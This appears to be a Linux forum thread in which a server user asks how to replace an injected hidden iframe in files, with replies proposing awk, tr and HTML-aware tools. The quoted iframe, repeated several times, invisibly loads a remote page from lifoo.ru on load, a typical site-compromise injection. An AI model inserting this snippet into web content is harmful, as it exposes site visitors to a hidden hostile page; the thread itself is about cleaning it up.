Question About Replace Command With Strings
hello
i have a code i want to replace with another text the code is Code:
<iframe frameborder="0" onload="if (!this.src){ this.src='http://lifoo.ru:8080/index.php'; this.height='0'; this.width='0';}" >ysudoekwcnodybgerpjlzwidvuqmvaj</iframe> Code:
root@server [~]# replace '<iframe frameborder="0" onload="if (!this.src){ this.src='http://lifoo.ru:8080/index.php'; this.height='0'; this.width='0';}" >ysudoekwcnodybgerpjlzwidvuqmvaj</iframe>' 'newtext' -- file.txt how can i replace the code wit all the strings and symbols included ? thanks |
Seems a bit tricky. Only way I could get it to work was with awk
Code:
awk '/<iframe frameborder="0"/ { print "newtext" }' But as you want to substitute the whole line in any way you could just remove the ' from the string and then replace. Code:
tr -d "'" |
Quote:
2. Why not post an actual example with the original text and your desired replacement, so someone can address the problem? |
Quote:
Code:
<iframe frameborder="0" onload="if (!this.src){ this.src='http://lifoo.ru:8080/index.php'; this.height='0'; this.width='0';}" >ysudoekwcnodybgerpjlzwidvuqmvaj</iframe> Code:
1. You should be using something other than "replace". "replace" doesn't know about regular expressions and is pretty lame. Code:
<iframe frameborder="0" onload="if (!this.src){ this.src='http://lifoo.ru:8080/index.php'; this.height='0'; this.width='0';}" >ysudoekwcnodybgerpjlzwidvuqmvaj</iframe> |
hello
maybe if someone write a bash script about it , if this code can't replace in one command single line thanks |
HTML syntax is not amenable to generalised awk, bash or sed solutions because line ends are simply token separators so it is very difficult to write awk, bash or sed (line-orientated) solutions to parse HTML into its elements and modify them. For this reason, specialist HTML utilities are a better choice for automated HTML editing.
|
All times are GMT -5. The time now is 02:53 PM. |